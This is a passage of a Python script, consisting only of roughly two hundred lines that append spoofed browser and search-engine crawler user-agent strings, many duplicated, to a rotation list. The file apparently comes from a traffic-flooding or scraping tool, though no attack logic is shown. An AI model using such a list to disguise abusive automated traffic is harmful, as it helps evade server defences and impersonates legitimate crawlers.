  604.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  605.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  606.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  607.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  608.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  609.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  610.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  611.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  612.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  613.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  614.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  615.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  616.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  617.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  618.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  619.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  620.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  621.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  622.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  623.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  624.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  625.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  626.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  627.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  628.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  629.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  630.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  631.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  632.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  633.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  634.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  635.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  636.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  637.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  638.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  639.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  640.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  641.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  642.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  643.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  644.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  645.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  646.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  647.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  648.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  649.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  650.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  651.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  652.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  653.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  654.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  655.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  656.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  657.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  658.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  659.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  660.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  661.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  662.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  663.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  664.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  665.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  666.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  667.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  668.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  669.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  670.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  671.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  673.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  674.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  675.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  676.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  677.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  678.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  679.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  682.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  683.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  686.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  687.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  688.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  689.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  690.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  691.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  692.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  693.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  694.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  695.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  696.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  697.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  698.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  699.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  700.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  702.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  703.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  704.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  705.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  706.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  707.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  708.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  709.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  710.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  711.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  712.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  713.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  714.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  715.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  716.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  717.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  718.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  719.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  720.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  721.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  722.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  723.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  724.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  725.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  726.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  727.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  728.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  729.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  730.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  731.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  732.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  733.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  734.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  735.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  736.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  737.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  738.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  739.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  740.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  741.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  742.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  743.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  744.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  745.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  746.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  747.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  749.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  750.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  752.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  753.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  754.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  755.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  756.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  757.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  758.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  759.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  760.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  761.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  762.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  765.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  766.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  767.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  768.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  769.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  770.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  771.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  772.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  774.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  775.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  777.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  778.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  779.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  780.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  782.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  783.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  784.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  785.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  786.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  787.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  788.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  789.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  790.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  791.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  792.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  793.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  794.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  795.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  796.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  797.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  798.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  799.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
